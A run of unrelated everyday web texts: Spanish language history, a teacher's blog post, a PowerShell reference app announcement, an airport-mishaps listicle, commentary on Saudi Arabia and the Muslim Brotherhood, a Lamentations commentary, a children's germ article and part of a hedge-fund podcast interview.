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With origins in the fall of the Rome, and rapid expansion through the conquest of the Americas, the Spanish language traces its history through the rise and fall of great empires. Spanish, along with others like French, Italian and Portuguese, is one of the Romance languages–a family of modern languages with foundations in Latin. Spanish derives many of its rules of grammar and syntax from Latin, and around 75% of Spanish words have Latin roots. The Spanish language has many other influences as well. Several other languages, including Greek, Arabic, and some of the languages of the native cultures of the Americas have contributed words to Spanish in its modern form.
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global_05_local_5_shard_00002591_processed.jsonl/41899 | A Parent Teacher Conference Without the Parents
Yesterday my school held parent teacher conferences. The turnout for my class, with 21 of 27 students represented, was considered good. Still I was surprised and frustrated by some of the no-shows. Meanwhile, it's March and I have yet to meet a parent of two of my students. This is more than discouraging, it's just sad.
I know these parents work all hours and more than likely multiple jobs. But I've reached out every way I know how, with no success.
Luckily these two students go against the trend I've seen over the years, and are in fact two of my top readers. Nonetheless I wish deeply I could share their learning, their strengths, and needs with someone at home.
In the meantime, I tried something different. I held the conference with the student.
In some ways it was no different from the regular conferences I have during daily lessons. First we talked about her most recent writing piece. Then we looked at her scores from the fall and winter ELA and math simulations. I told her how bright she is and how proud she should feel, but reminded her she has to continue working hard and trying her best. She has a bad habit of being bossy and a bit of a bully and we talked about that too.
Then something strange happened when I asked if she knew that I'm happy to have her in my class. She said no. "No matter how upset I get over her behavior at times," I explained, "that will never change. I love having you in my class, and you should always remember that."
I hope I can find a way soon to meet with her mom and dad to tell them what I told their daughter.
Kimberly said…
It doesn't surprise me at all that you haven't met the parents of two of your students. Actually, like you stated in your post, you should be commended for having the high turnout for your parent/teacher conferences that you did. When I was teaching, I would be lucky if half of my parents showed up for conferences. It's kind of funny that those are the parents (the ones you never meet) that want to be the first to complain at the end of the school year when there's a possibility that their child will be retained when all they had to do was establish a relationship with you, the teacher, to ensure that their child would have a successful school year. I do like, however, that you held the conference with the child. It probably showed the child that you cared more about their success in your classroom than their own parents did (which I'm sure the child already knew anyway). Keep doing what you're doing and have a great rest of the school year.
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global_05_local_5_shard_00002591_processed.jsonl/41913 | iPowerShell v.2 now available in Apple app store.
iPowerShell v.2 is finished and is now available at the Apple app store (iTunes link) for download.
Don’t know what iPowerShell is? iPowerShell is an easy to use reference tool for users of Microsoft’s PowerShell scripting language for use on the iPhone or iPod Touch. It contains full descriptions of each and every core PowerShell Version 2 cmdlet, their syntax, parameters and examples of proper usage. It also contains the complete set of “about item” help topics as well as provider and alias help.
iPowerShell includes a quick search function that allows the user to type in partial search terms which results in a pared-down list of PowerShell cmdlets that include the term in their name. For instance, typing in “item” returns “Clear-Item”, “Clear-ItemPropery”, “Copy-Item”, etc. A Cancel button resets the search list to the full list. iPowerShell also includes an alphabetical index bar which takes the user at a touch to the cmdlets that start with any specific letter.
iPowerShell v.2 is all new. Below is a list of the major changes to the product.
1. The user interface has been completely rewritten to use a Tab Bar interface separating out cmdlets, aliases, providers and about help.
2. Added the ability to include 3rd party cmdlet libraries and have included VMware PowerCLI cmdlets with more vendors to come!
3. Added the ability to turn individual cmdlet libraries on and off to help de-clutter user interface.
4. Changed cmdlet, alias, provider and about help detail information to display in an HTML view.
5. Added internal linking of “Related Links” in cmdlets detail information so that you can just tap on a related link and see detailed information for that item.
6. Includes internal web browser so tapping on an external web link will not cause a context shift out of application to Safari.
7. 3rd party vendor cmdlets display a unique icon for easy location.
8. Alias list displays both the alias and the expanded command in the list.
9. HTML displays all allow for pinch zoom and unzoom.
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global_05_local_5_shard_00002591_processed.jsonl/41962 | Sleeping in Airports
Oops Moment
7 Incredible Airport Worker Oops Moments
Who amongst us hasn’t screwed up at work in a way they’d dearly like to forget? Come on, be honest. Perhaps you’ve hit ‘reply all’ to an office email with the opinion that a co-worker is an asshole. Or maybe some delivery labels got switched out by accident, and now Granny’s crotchet set is an S&M bondage kit. Still, no lasting harm done, right? Assuming you don’t mind being ignored and Granny’s heart can take the shock, of course. For those in a safety-critical job at the airport, however, life isn’t so forgiving of such ‘oops’ moments. And neither is the media when they find out, which is exactly how we heard about these shining examples.
Thanks to one crap Hollywood movie, most of us think Air Marshals are all different versions of Liam Neeson: rugged, not-to-be-messed-with individuals with a drinking problem and reckless disregard for authority. In reality, they look like an average passenger (which is rather the point if you think about it), and will probably see out their career dealing with nothing more than drunk idiots. They’re supposed to keep a low profile and, above all, not let anyone know they are armed. One marshal on a Delta flight from MAN — JFK clearly forgot this little nugget, because she went for a pee and neglected to pick up her service pistol afterwards. Luckily, the next person in the bathroom was a concerned citizen and not a would-be terrorist, so the weapon was returned to its rightful owner.
Aviation security relies on an element of mystery to keep Johnny Terror guessing. Agencies go to great lengths to conceal their procedures, often changing them with little or no notice to counter perceived threats. It’s not perfect, but it does act as a deterrent to all but the most dedicated, or most stupid, bad guys. So, when someone in the TSA accidentally published their entire training manual online, that element of mystery disappeared faster than a politician’s promise. Luckily, the mistake was quickly noticed and the information taken down before any potential terrorist could learn how to be incredibly rude to the public.
What’s the worst that could happen to an employee who grabs 40 winks on the job? Maybe the boss catches them and issues a written warning. Or perhaps stoner kids steal all the Doritos from their convenience store. Then again, as was the case with this baggage handler, they could wake up in the cargo compartment of an Alaskan Airlines 737 doing 150mph down the runway.
The noise levels on the tarmac are horrendous, and protection is mandatory. This guy’s ear defenders must have been top of the range because he slept through the closing of the cargo door, the engines starting up, and even the takeoff! It was only once airborne that he started banging to attract attention, forcing the crew to return to Seattle. Luckily for the worker, the hold was temperature-controlled, so he made it back without being turned into a block of ice. With the diversion costing thousands, though, he would have received a frosty reception from the airline.
The jet engine is a wonder of modern engineering, with literally thousands of precision crafted parts assembled by perfectionists. Every component has to function perfectly in tune with the rest, or something like this happens…
Qantas flight 32
Photo source: Australia Transport Safety Bureau Report
Naturally, jet engines are subject to incredible forces during normal operations, and they are designed to withstand those. It’s abnormal forces that are the problem, as these Hong Kong Airlines engineers found out the hard way. For reasons still unknown, during a routine engine change, something went wrong, and they ended up with what scientists might refer to as a ‘rapid, vertical, accelerate-stop situation’. In other words, they managed to drop the damn thing onto the tarmac.
Like many a parent, Lisbon airport was caught out by the liberal attitudes which exist in parts of Europe. In 2015, a television in the baggage reclaim hall went from showing some awful Mediterranean soap opera to screening soft porn. The acting and production values were just as bad, but people noticed because there were definitely more naked breasts involved. Now, anything that brightens up the long wait for a suitcase is to be applauded, but the airport authorities felt this was a step too far. They pulled the plug and issued an apology straight away.
Despite their years of training and experience, professionals still make mistakes: doctors leave medical instruments inside patients during surgery, dentists pull the wrong teeth, airline pilots land at the wrong airport…wait, what? Incredibly, this is indeed a thing, and most events occur when the pilots confuse a nearby military airfield with their destination. They see a runway in front of them and go for it. While it may sound like plain incompetence, this is a known issue with the human brain called ‘confirmation bias’. In simple terms, once the mind is made up, it will ignore any evidence — no matter how blindingly obvious — that proves it wrong. It’s basically like having Donald Trump as your captain.
No, not like that.
Believe it or not, aircrew are human beings too and suffer the same issues with their body clock as passengers. This includes jet lag, lack of appetite, and the irresistible urge to fall asleep. Unfortunately, this urge can occasionally strike a pilot at the controls. To combat this potentially dangerous fatigue, it is common industry practice for one pilot to take a nap during the cruise. The problem is, you’ve guessed it, that sometimes the other guy falls asleep as well. In most cases, this situation only lasts for a brief time before one or the other wakes up. Occasionally, however, something is missed, like a call from ATC, or even the destination airport. This is what allegedly took place on a go! Airlines flight between Honolulu and Hilo, Hawaii. Air traffic controllers were unable to raise the pilots for an incredible 17 minutes, during which time the aircraft overshot Hilo airport by 15 miles, as the autopilot carried on happily out to sea. Eventually, contact was re-established and the airplane turned once more to Hilo where it landed safely. It was lucky they didn’t sleep through much more of their fuel, else they would have been gliding back.
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April 1, 2014: The Arabs are having a family feud over which forms of Islamic radicalism are acceptable and which are to be condemned as Islamic terrorism. The main dispute is between those who consider the Moslem Brotherhood an acceptable Islamic conservative group and others (like Saudi Arabia) that identifies the Brotherhood a terrorist organization. This is the continuation of a centuries old struggle over what the most acceptable form of Islamic conservatism is.
At the center of this dispute is Saudi Arabia and its effort to defend its form of Islamic government. Saudi Arabia has long supported Islamic conservative groups. Yet in 2013 the Saudis came out against the Moslem Brotherhood in Egypt and against al Qaeda two decades ago. At the same time the Saudis have no problem supporting Islamic radicals in Syria, including some who belong to al Qaeda.
What this demonstrates is how the Saud family only supports Islamic radicals who agreed that the Saud family should be in charge (of Saudi Arabia and as a leader of the Islamic world). Islamic radicals that changed their minds about this arrangement became enemies of Saudi Arabia and its many Moslem allies. Thus the Saudis supported al Qaeda until al Qaeda decided that the Sauds were not Islamic enough to be in charge. That led to a dispute in the 1990s that escalated in 2003 and, so far, the Sauds are winning. The Moslem Brotherhood in Egypt has always been hostile to the Sauds and that has been reciprocated. This was made worse by the fact that the current head of al Qaeda was once a leader in the Egyptian Moslem Brotherhood. This was made worse as the Egyptian Moslem Brotherhood won a 2012 election in Egypt and promptly got cozy with Iran, the archenemy of Saudi Arabia and Sunni Moslems in general. What was actually going on here was not a dispute over Islam but over Egyptians showing how they should be the leader of the Islamic world and not Saudi Arabia. Although Islam was founded by Arabs in what is now Saudi Arabia, Egypt has always had the most Moslems, Islamic universities and religious scholars. To the Egyptians the Saudis are a bunch of desert bumpkins who got lucky with all that oil wealth and now believe that makes them more deserving of a leadership role than the Egyptians.
Iran is especially feared by the Saudis because the Iranians are not Arabs (but rather Indo-European, like most Europeans and Indians) and are openly hostile to the majority (80 percent) form of Islam (Sunni) espoused by the Saudis. The Iranians are Shia, a smaller (about 10 percent of Moslems) sect that conservative Sunnis consider heretics. After several major wars over the issue, for the last few centuries Moslem leaders have played down this antagonism. But the mutual hatred remains, and in the last few decades Iranian Shia leaders have become increasingly aggressive in claiming that Shia should control the Moslem holy cities of Mecca and Medina, as well as all that oil the Arabs now possess. The two holy cities are in Saudi Arabia and have been administered by the Saud family for nearly a century. Saudi Arabia also contains the largest oil reserves in the world. The Sauds want to keep things the way they are and have been increasingly aggressive in blocking Iranian moves against Saudi dominance. That’s why the Saudis support Islamic radicals in Syria, even though many of these Islamic terrorists want more radical Moslems running Saudi Arabia (and removing “Saudi” from the name of Arabia). Despite all this opposition the Sauds continue to hold firmly onto power. This is all because of one man.
Saudi Arabia was very much the creation of Abdul Aziz ibn Saud. Born in 1876, his father Abdul Rahman (1855-1928) and the rest of the Saud clan were driven from the Saud hometown of Riyadh in 1891 by a rival clan. Taking refuge in Kuwait, Abdul Aziz eventually organized a small group of followers and retook Riyadh in 1902. This pleased his father immensely and Abdul Aziz was given more power and control over the family’s fortunes.
Abdul Aziz not only acted like the founder of a kingdom, he also looked the part. Standing nearly two meters (over six feet) tall, he had an athletic build, a hypnotic gaze, and an endearing demeanor. His hospitality, bravery, and diplomacy were legendary. He dispensed justice in a fair and wise manner. He was the kind of leader the Bedouin had little trouble following. Abdul Aziz also had a knack for turning enemies into allies. More importantly, in this part of the world, Abdul Aziz was a devout Moslem. This was his key asset in uniting the many tribes and clans of Arabia. Islam was the only thing all these, often antagonistic, groups could agree on. Moreover the Sauds had been followers of the strict Wahhabi sect of Islam since the 1700's and Abdul Aziz was strict enough in his religious practices to win the approval of the most orthodox Moslems.
Among the more orthodox were a warrior brotherhood called the Ikhwan. This group had been prominent in the early history of Wahhabism but had died out by the late 1800's. The original Ikhwan was drawn from settled Arabs. The early 20th century revival was among the nomadic Bedouin. When the new Ikhwan came to Abdul Aziz's attention, he first checked them out to make sure they were the real thing and then provided money, weapons, and other aid. With the support of the powerful and popular Abdul Aziz, the Ikhwan became the Saudi shock troops. The Ikhwan warriors were fierce and disdainful of death. They behaved as if they were reincarnations of the 7th century Arab warriors who spread Islam from the Atlantic to the Pacific. By furnishing land (or, rather, oases and their invaluable water) for the Ikhwan warriors to build their fortified mosques, Abdul Aziz soon had (by 1917) 200 Ikhwan settlements populated by 250,000 people (60,000 of them warriors). But the fervor of the Ikhwan could get out of hand. The orthodoxy of the Ikhwan rejected most modern devices. Everything that was not mentioned in the Koran was suspect and subject to destruction by the Ikhwan zealots. The rifle was a curious exception. The Ikhwan provided the glue that kept the Saudi alliance together during the 1920's as the Saudis conquered the remaining independent tribes and clans of Arabia.
Abdul Aziz proved himself once more when it came time to tame the Ikhwan. By 1926, the Saudi forces had defeated all those who stood in the way of Arabian unification (at least in terms of Saudi Arabia’s current borders). The holy cities of Mecca and Medina were taken, along with the Red Sea coast. Abdul Aziz judged it imprudent to attempt the conquest of the more populous Yemen, or the British protected emirates along the Persian Gulf coast. Kuwait was left alone because of the aid the Kuwaitis had provided when the Saud clan was in need.
The British also guaranteed (and guarded) the borders of Jordan, Syria, and Iraq. The Ikhwan cared nothing for these restrictions. In response to that disdain, Abdul Aziz spent two years fighting the Ikhwan, eventually bringing them to heel without leaving lasting tensions in the kingdom. One of the principal means of keeping the orthodox Muslims on his side was to enforce a strict brand of orthodoxy in the kingdom. The "religious police" Westerners hear about are the modern day Ikhwan. But instead of riding off, rifle in hand, to destroy the non-religious, the modern day Ikhwan swing canes at anyone rash, or careless, enough to appear irreligious in public. These latter day are becoming more troublesome and very unpopular with most Saudis. If the Sauds decide to act, after consulting religious and tribal leaders, they will suppress the “Ikhwan” once more. In the meantime, the Saudis have placed more limits on the power of the religious police.
In 1932 Abdul Aziz declared the Saudi controlled lands to be the kingdom of Saudi Arabia. For the first time in over a thousand years Arabia was, more or less, firmly united. Yemen and the Persian Gulf emirates, protected by the British, were acknowledged as free from any further attempts at Saudi conquest. For the next twenty years Abdul Aziz prepared his 20 sons (eventually to number 43, including those who died as infants) to carry on his work. This work, then as now, consisted primarily in safeguarding the Moslem holy places and keeping the Saud family in power.
Abdul Aziz conquered his kingdom as a religious act and it was as a servant of Allah that the Sauds would continue to hold it. At the official founding of the kingdom in 1932, there was as yet no oil wealth for the Saudis to contend with. The major oil discoveries did not come until the late 1930's, and significant oil wealth did not appear until a decade later (after World War II). Huge wealth did not arrive until the 1970s, when a newly formed (with Saudi assistance) oil cartel jacked up the price of oil and kept it high. At that point things began to change in unexpected ways.
It was up to Abdul Aziz's sons to contend with the mixed blessings of oil riches while still maintaining the religious foundations the house of Saud was built on. It's up to the senior members of the Saud family to decide who the next king is and the choice will say much about where the kingdom, and Islam, is headed. The Sauds are expected to continue being the best friends and worst enemies of Islamic terrorists.
All this is tolerable to the Egyptians when it just involves ruling Saudi Arabia, but the Egyptians do not agree with the idea that an Arab king should be the head of Islam simply because he has a lot of oil wealth and administers the most holy Islamic shrines. Both the Sauds and Moslem Brotherhood agree that Moslem nations should be run using Islamic (Sharia) law. The problem is that the Saudis have been doing so since the 1930s while the Moslem Brotherhood has not been able to establish their form of Islamic government anywhere. That’s because most Egyptians oppose it and there are always some factions within the Moslem Brotherhood that support the use of violence (terrorism) to impose Islamic rule on Egypt. The Sauds agree that Egypt needs Islamic government, they don’t agree with the use of terrorism to achieve that goal, if only because many Islamic terrorists want to use terrorism to replace the Sauds with a more radical Islamic government.
At the moment most Arabs back Saudi Arabian attitudes towards the Moslem Brotherhood. At the same time most of these Arabs tolerate the Islamic terrorist groups fighting for (and sometimes against) the Syrian rebels. The Saudis have gone along with this, but are intolerant of Islamic terrorists everywhere else.
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Lamentations 1
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In the Septuagint, the Lamentations are prefixed with the words, "And it came to pass that after Israel had been carried away captive, and Jerusalem made desolate, Jeremiah sat weeping, and lamented this lament over Jerusalem and said. . . ."
In this brief Book of Lamentation the spirit of the man is strikingly revealed. There is no exultation over the fulfilment of his predictions, and there is a twofold loyalty manifest throughout, first to God in the confession of sin, and then to his people in the expression of their sorrow.
In this first poem there are two clearly defined movements. The first (verses Lamentations 1:1-11) describes the desolation of the city, as to her relationships with other nations, and as to her internal condition, declaring the cause to be that "she hath grievously sinned." Under the figure of a widow sitting solitary, the prophet describes the city. "She that was great" has "become tributary," and is loverless and comfortless. Within, her desolation is overwhelming. The Temple is deserted, and her beauty has departed. With great care the prophet sets forth the cause of her diction. She had "grievously sinned," and has forgotten her latter end; and the prophet ends this description of the desolation by identifying himself with the sorrow and the sin in the words, "See, O Lord, and behold; for I am become vile."
In the second movement (verses Lamentations 1:12-22) the city, personified, bewails her diction, appealing to the passer-by, and describing her sorrow; then confesses the justice of the desolation which has overtaken her, crying to Jehovah for sympathy and deliverance.
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Germs – What do they do? Exploring Health with Bamba
Image: This drawing shows that different types of bacteria in the gut have all sorts of different shapes. Image via University of Minnesota.
Authors: Bamba; Delroy Daley, Medical Student; and Beatriz Finkel-Jimenez, PhD, Associate Professor of Microbiology and Immunology; all from the AUC School of Medicine.
Hi friends! It’s Bamba here! Who would have thought the year 2020 would be this weird? COVID-19 has me wondering about all the different kinds of tiny things that we cannot see that can make us sick. Today, we are going to take a closer look into viruses and their friends, bacteria!
Humans have been around for about five to seven million years. That’s a long time, but not as long as bacteria, though! Did you know that bacteria are the oldest living organisms on the planet? That’s right! Bacteria are ancient.
Experts say bacteria have been present on Earth for about 3.5 billion years. Wow! That’s even before dinosaurs were alive!
What are bacteria? Bacteria are microbes (tiny living things you can only see with a microscope) that are found in the air, water, land, everyday surfaces, and even YOU! Yes, bacteria also live on and inside humans. We often look at bacteria as germs; however, some bacteria help humans in important ways – I like to call those bacteria friends.
Bacteria are made of one cell – the smallest form of life. Bacteria have an outer cell wall to give extra protection, like armour, so they are not easily killed.
Some bacteria also have a slender threadlike structure (called flagellum) to help them swim around in their environment. The good bacteria that live inside humans help break down foods that humans can’t do all on their own like fruits and veggies. It’s sort of like you and the bacteria in your gut are a tag team – cool!
Most bacteria have fuzz (fimbriae) on their cell walls that out allow them to stick to things – this is what the bad bacteria use to stay around long enough to get you sick. You ever blew your nose and saw green or yellowish boogers in the tissue? Yep, you guessed correctly! That was caused by bacteria and that sticky fuzz.
What about viruses? Did you know that viruses are not living things? That’s right! Viruses are not alive. Viruses put their nucleic acid DNA/RNA into the cell’s brain (nucleus). That gives the virus control of your cells so that they can make copies of themselves and spread their disease. Cool, right?!
Sometimes, viruses do not attack right away. They can be dormant (sleep) and wait until the perfect time to wake up and spread their disease. A virus can remain dormant for days, months, or even years!
Some viruses have a head, body, and multiple tails. The head is where the virus’ DNA/RNA is stored. The body helps keep the virus stable and the tails are used to attach to your cells so that it can invade you.
Other viruses have different forms: circular, tubular, and spiral. Inside, they store the DNA/RNA surrounded by an envelope for protection.
These viruses attach to your cells using their sneaky finger-like proteins to hold on to you so they can put their DNA/RNA inside of your cells to take control. Those sneaky creatures! Unlike bacteria, there aren’t any good viruses.
Wow! I did not know learning bacteria and viruses would be this cool! Hmm, I wonder if the first bacteria were as big as a dinosaur or if viruses will evolve into becoming living things one day. Science is such a mystery.
Well, there you have it, friends! Another science adventure in the books! Remember to wash your hands everyone. We don’t want bacteria or those sneaky ninja viruses to make us sick.
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"People are fond of saying: 'we are 100% systematic.' And when you say you're 100% of anything, it tends to make people nervous." - Marc Malek (Tweet)
This guest had a different path that eventually led to owning a hedgefund in New York. Marc Malek got a grant from NASA to study how different armored tank positions would lead to winning results on the battlefield. Traveling to Wisconsin to begin his research, his advisor steered him to do a similar project on stocks, bonds, and equities instead. He went on to work for UBS and finally founded his own firm, Conquest Capital Group. His story will fascinate and inspire you.
Thanks for listening and please welcome our next guest, Marc Malek.
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In This Episode, You'll Learn:
• The story of how Marc became interested in the financial markets after a university project, a bit unexpectedly.
• About Marc's upbringing in Beirut, Lebanon.
• How his studies at Caltech in neural networks and decision support systems eventually led him to the stock market.
• About his grant from NASA to research the position of tanks.
• His job offer from Oracle that he turned down.
• About his first job out of university at Salomon Brothers and why he left after one year.
"If you look at any successful discretionary trader, they don’t sort of wake up and randomly decide one day to put on a position because they had a dream." - Marc Malek (Tweet)
• How Marc got hired at UBS and moved to Europe and then Asia during his time with the company.
"In setting up the Global Exotic Derivatives Group, I initially set it up in New York, then moved to London and set it up there, then moved to Tokyo and set it up there." - Marc Malek (Tweet)
• Marc's departure from UBS and how he started Conquest Capital Group.
• How trader's thought processes are turned into trading models.
"Liquidity is the oxygen of these strategies, and one of the first casualties from the rise of risk aversion is liquidity." - Marc Malek (Tweet)
• Why models are not black boxes and why investors should not be worried.
• The history of trend following and the old systematic approach.
"There is a big misconception out there that investors believe that long term trend following is a long volatility strategy; it's not." - Marc Malek (Tweet)
• How markets move for alpha and beta reasons.
• About "turtle strategies" vs "trend following 2.0".
• How Marc's strategies and models have evolved over time.
"I don’t understand how anyone can promise a certain return profile because really returns are a function of what the markets give you, and no one really knows ahead of time what the market will give you." - Marc Malek (Tweet)
• About his product Conquest Macro and the two mandates that the product has.
• How his product makes the bulk of its return during periods of risk aversion and high volatility.
• How his firm developed a risk index in a time before anyone was doing them.
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"In a very very simplified way, active investment makes money by buying the risky asset and selling the less risky asset against it and benefiting from that." - Marc Malek (Tweet)
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Marc, thank you so much for being with us today. I really appreciate you taking the time.
Thank you, Niels.
Now as I was preparing for our conversation today, I noticed a couple of interesting things that I'm sure we'll have a chance to discuss but just to give you some of my initial observations, it strikes me that you have quite a large number of different strategies that you offer both in the alpha strategy space, but also some alternative beta strategies, which to me suggests that you have diversified your business into more of a solution oriented firm rather than being more of a standard type of alternative investment company. The other thing that I noticed was that you began your career working for some of the very large institutions in the world, yet you chose the entrepreneurial path. I can imagine that that's quite a change in itself, and I'd love to hear more about that. Then I also noticed that you developed this risk aversion index, which I find very interesting and would certainly like to spend a bit of time discussing these things. I'm excited about all of these topics that we can talk about, but before we go into that, and before we find out where your company is today, I would really love for you to take us all the way back to the beginning of your story and tell us about what led you to take this path in life, and really feel free to go back as far as you want, Marc.
Sure, it's actually a fairly interesting path that led me to where we are today. Before I get started, again, thank you Niels for giving us this opportunity. All the points that you mentioned are definitely something that we can get into, and each one has its own particular story. Starting with the background: originally I'm from Beirut, Lebanon. I graduated from Cal Tech in 1992. At Cal Tech, I was studying neural networks and decision support systems. I was very immersed in that field, and definitely planning on getting my Ph.D. in the field and then continuing my research there. In my junior year at Cal Tech, I received a grant from NASA's Jet Propulsion Laboratory which is one of the 8 NASA centers in the US that Cal Tech runs. The grant was to basically study how you can position tanks in a battlefield to optimize your chances of winning based on the new mathematical technique called scenario analysis. The person who was doing the leading research in the field of scenario analysis was a Professor at the University of Wisconsin in Madison.
So, I traveled over a summer from Cal Tech to Wisconsin, to Madison, to do the research for them. We started getting to know each other, and he finds out I'm from Lebanon and says something like, you know you just came from a battlefield; do you really want to spend the whole term looking at tanks in a battlefield? Why don't you apply the grant to the optimization problem of something like stocks, bonds, and currencies. Mathematically it's the same project. Whether you are using green tanks and blue tanks and yellow tanks or stocks, bonds, and commodities or FX, it's really the same sort of mathematical work that needs to be done. So I said fine.
At that point, I really didn't know what a stock or and bond was. I never spent any time looking at any of this stuff. I remember that I had to go out and get a book that actually just gave me the definitions of these things. We didn't have Google back then. So I did my research and ended up writing a paper that was published at the University and went back to Cal Tech to finish my senior year. In my senior year I was very excited because I was finishing at the top of my class at Cal Tech and I had the highest job offer from Oracle to go and work there for a couple of years before going back and getting my PhD. Back then Larry Austin was still signing the offer letters, so I still have that letter from him. I was very excited. I had the highest job offer from anyone at Cal Tech, which I think at the time (this is 1991), was about like $45,000 or something. Sometime in the spring of my junior year I got a call from somebody calling from New York and said this is so and so, and I'm calling from Salomon Brothers and we'd like to invite you over for an interview. I was shocked at first, but it turns out that they had read my paper and wanted to interview me. So it's fine - a free trip to New York.
I went to New York with absolutely no intention...or no understanding of what the job was. Anyway to make a long story short, I fell in love with the whole concept of trading and money management, at least the way I understood it from a couple of days of interviewing. At the end of those couple of days, the MD pulled me into the office and says something like, we normally don't do this, but everyone likes you, and we're going to make you an offer on the spot which was quite a bit more than what Oracle had offered. So that was the beginning of how I got into this whole thing. Quickly, very shortly after I got to Salomon because I was hired in research, I realized that I would much rather be on the trading side than the research side, so I left after about a year and changed to joint an ex-Salomon trader that had started a hedge fund back in the early 1990s.
He hired me basically to develop trading systems for him and trade currency options. So I did that until about the end of 1994, the beginning of 1995, when I was hired by UBS to start and run the global group in exotic derivatives on foreign exchange, which essentially were every derivative that goes beyond a simple call or a put. I did that until 1997 when UBS and SBC merged at which point I was promoted to run the combined banks, prop trading groups in London and the Americas. Prior to that, in setting up the global exotic derivatives group, I had set it up in New York initially, then moved to London, set it up there, then moved to Tokyo and set it up there, globalized it and ran it from Tokyo until I was promoted to run the prop trading groups. I moved then back to London, and that was around 1998 if you remember the turmoil in the markets in 1998, and the bank had lost a lot of money which really cemented my decision to leave. I was thinking about leaving before that, but seeing the effect on my own compensation and limits and things like that from things that were happening in other parts of the bank. Basically, it cemented my view that I think on Wall Street you have maybe 5% to 10% top producers that pay for probably 80% or 90% of mediocre or below average people. If you're vain enough to think of yourself as that top 10% or 5% then really, by working on Wall Street, you're subsidizing everybody else. So I decided to leave and start my own firm. That was the beginning of me into the hedge fund role.
Did you know what you were going to do at that stage? Did you know from day one this is exactly how I'm going to do it, or was it more like let me...
Absolutely. Prior to doing that I had run quite a substantial global prop trading group at UBS. I had about 18 traders, each one a senior in their own right, that reported to me. In my own trading at UBS...actually starting from my days at the hedge fund in 1993, 1994 time, going to the period where I ran exotic derivatives at UBS, which also included a large portion of prop trading, which really was the reason why they promoted me to run the prop trading groups afterwards.
Throughout this whole process I had developed and used systematic models to trade in the market. I've always had the philosophy that if you look at basically any successful discretionary trader, they don't wake up randomly one day and decide to put on a position because they had a dream...or...maybe some do, but usually not the successful ones. Usually it's a thought process that leads you to put on a trade. You look for certain things to happen, either technically or fundamentally, when these conditions are met you put a trade on. When you put that trade on, you know ahead of time how much you are willing to risk on that trade, what position size you need to have for that risk, and where the stop on it should be, and where you take profit on it. When you list all these things one after the other, it's no different than the algorithms that go into creating a trading model. So I think with a lot of the very successful traders, if they had the mathematical and computer background they can very easily turn a lot of that thought process into an algorithm, and once you have it as an algorithm, then it's very easy to program it. At that point a computer is a much more efficient tool to execute your own view for a variety of reasons, stretching from taking the emotions out of it, to efficiency of execution, to giving you the flexibility of trading many more markets that you cannot follow yourself, but a computer can do it in a much easier way and so on. So I always had a very systematic approach from my days at UBS, so on day one, when I left and went on my own. I had a suite of ideas that I knew I wanted to start with and work on. Also when I started I had a partner at the time and he also came with his own ideas and basically our product was a combination of a lot of brainstorming through the background that I brought and the background that he brought.
Let me just ask you a spur of the moment question here. When you explain why people, if they had the knowledge of programming or putting together systems rather than trying to just do it as a discretionary trader, even though they might use internal rules in their own mind, which obviously is a very logical way of doing things. Why do you think it is so difficult for systematic traders to explain to investors that they shouldn't be worried about the fact that we use computers to do this and in fact that isn't a black box?
Well, that's a very good question. I don't think it's difficult for a systematic trader to explain their strategy. I think there are a lot of systematic traders that deliberately try to be very opaque about what they do for a variety of reasons: one of them is they don't want to give away the "secret sauce" of what they are doing, and I think to a large extend in the old school trend following world, primarily it's to keep how simple it is from getting out and making people realize why on earth am I paying $2 and $20 for that?
That's from the manager's side, Marc. On the other hand, I would argue that investors, they have a difficulty with accepting these systems, and they try to make them, in some ways, more complicated by calling them a black box. So I think that you are right about the manager side. That's probably one reason, but I think also the investor side in a bit to blame here, that they don't embrace the fact that technology... if you board a plane, you know that the pilots not going to sit there for 12 hours flying the plane manually. He's going to use an autopilot, and I think most people would prefer he uses an autopilot.
I think that is changing over time. I think that there is a wider acceptance of quantitative strategies now than there were before. To use your example of the plane, passengers know that the pilot is relying on a lot of analytics and tools to fly that plane, but the most important thing is that they know there is a pilot; that if something goes wrong the pilot can turn off whatever machines are there and just fly the plane. I think with systematic strategies and the way that a majority of them are explained and portrayed, that people are fond of saying we're 100% systematic, and when you say 100% of anything it tends to make people nervous.
Systematic works maybe 95% of the time, but sometimes you have some events that can happen that can hit the world, that can be either endogenous type of events or exogenous type events that are unforeseen. Now again, 99% of the time you want to follow your system because that's basically the reason you build them. The world is usually not that different. However, the way that we describe our strategy is we say we are about 95% systematic and 5% discretionary. The reason that we do so is, again, to use your analogy of the plane and the pilot, investors like to know that, yes you might have the highest tech equipment, but they want a pilot in charge. The example that I give there usually is that look, we're systematic 95+% of the time, but if I'm sitting in my office and my models are screaming to buy stocks and I see a plane heading into a building, I might choose to turn off that model at that point. It's just a common sense approach. The other point that I think confused a lot of investors... let's take an example. If you look at traditional trend following, the Turtle approach to trend following: slap a couple of moving averages together - a short-term one and a long term one, apply it to 50 of your favorite markets across 4 or 5 different sectors, and you've got yourself a hedge fund. Historically, from the 1970s until early 2000, that's pretty much what all CTAs did. You can check that by looking at the correlation and the return of CTAs during that period to the very simple model that I just gave you. It's about 80% and it's a very consistent 80%.
When you take a trend follower... it's a very simple tool that I just gave you. A lot of people might want to get into the space, but they don't really want to question why trends happen, they just know that this exists and that if you do this you are going to make money. They start a fund, and they go out and start trying to get investors. Investors, also at the same time, they can sit there and say well, this black box, they don't even know how it works, but the explanation that the manager gives at that point is look, we know that trends happen in the world and our models take advantage of trends, and they make money when there are trends, and historically we've made a lot of money, and so on. In that kind of process from the manager side as well as from the client side, there is a lot of uncertainty. So the client will say, why do trends happen? How do I know if they happen before they are going to happen again?
When you're having that conversation with a manager that is very orthodox in their approach, look, I don't know why trends happen, I don't care why they happen, they happen, and that's how we take advantage of them, which is really the way a lot of people answered these questions. It creates lack of understanding and people... if you're not comfortable with an investment, it's going to be very difficult for you to get to invest. What ended up happening for a lot of CTA investors is that at the initial pitch they passed, then they saw CTAs making a lot of money. They'd go through a period where they would make 40%, 50% for a year or two. So they get dragged into investing, kicking and screaming, at which point their investing at the top in these strategies, which, by definition, are very cyclical, only to see that investment plummet in value because they pretty much bought at the top of the cycle. Given that they didn't understand exactly what they were buying, they don't have a conviction to hold as it's coming down. They basically get out at the bottom, and we saw this cycle happen so many times with investors who would always buy the trend followers at the top and sell it at the bottom. My cynical side says that, over time, investors as a group have lost money investing in CTAs just because of the timing.
